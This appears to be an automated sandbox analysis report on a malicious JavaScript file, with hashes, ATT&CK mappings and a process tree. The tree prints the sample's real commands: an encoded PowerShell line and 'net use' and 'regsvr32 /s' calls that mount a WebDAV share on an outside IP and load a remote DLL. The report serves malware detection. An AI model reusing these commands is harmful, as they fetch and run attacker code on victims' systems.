67295604fb9a0bb79200b9fabfc66eb8e516339686e975a5287644bb21eda8f8

Analysis

max time kernel
120s
max time network
122s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
21-11-2024 10:46

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General

Target

1485223624968714276.js
Size

549KB
MD5

f6e0d4cbfbf4769f1de51ec2be2eef61
SHA1

3a967242ebbae2ddca1694a307b8307b43bafda8
SHA256

67295604fb9a0bb79200b9fabfc66eb8e516339686e975a5287644bb21eda8f8
SHA512

5a57a71f7577714c33987d6e88ff697f17f51fa2359825f89d820a389a19232b81ec2c8e554500c1e56bc5a2c80d313081a733c90f681b9b3b8a54a11f56487a
SSDEEP

3072:qtNeOR4IwX/gei6LbMycM0uXOQgkmZKPk9x3NHYBkBAi5kK7fkJYLMcHYpNnNQMG:qtNeORCgeVb6pga7cORq7cORTORm+

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2172 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2172 powershell.exe

pid	process
2172	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2172	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

wscript.exepowershell.exe

description	pid	process	target process
PID 3032 wrote to memory of 2172	3032	wscript.exe	powershell.exe
PID 3032 wrote to memory of 2172	3032	wscript.exe	powershell.exe
PID 3032 wrote to memory of 2172	3032	wscript.exe	powershell.exe
PID 2172 wrote to memory of 2480	2172	powershell.exe	net.exe
PID 2172 wrote to memory of 2480	2172	powershell.exe	net.exe
PID 2172 wrote to memory of 2480	2172	powershell.exe	net.exe
PID 2172 wrote to memory of 2824	2172	powershell.exe	regsvr32.exe
PID 2172 wrote to memory of 2824	2172	powershell.exe	regsvr32.exe
PID 2172 wrote to memory of 2824	2172	powershell.exe	regsvr32.exe
PID 2172 wrote to memory of 2824	2172	powershell.exe	regsvr32.exe
PID 2172 wrote to memory of 2824	2172	powershell.exe	regsvr32.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1485223624968714276.js
1⤵
- Suspicious use of WriteProcessMemory
PID:3032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA7AHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADEAMgAyADYAMgA1ADgAMQAzADMANAAwADQALgBkAGwAbAA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2172
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\94.159.113.79@8888\davwwwroot\
    3⤵
    PID:2480
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\94.159.113.79@8888\davwwwroot\21226258133404.dll
    3⤵
    PID:2824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2172-4-0x000007FEF573E000-0x000007FEF573F000-memory.dmp

Filesize
4KB

Download
memory/2172-5-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/2172-6-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/2172-7-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmp

Filesize
9.6MB

Download
memory/2172-8-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmp

Filesize
9.6MB

Download
memory/2172-10-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmp

Filesize
9.6MB

Download
memory/2172-11-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmp

Filesize
9.6MB

Download
memory/2172-9-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmp

Filesize
9.6MB

Download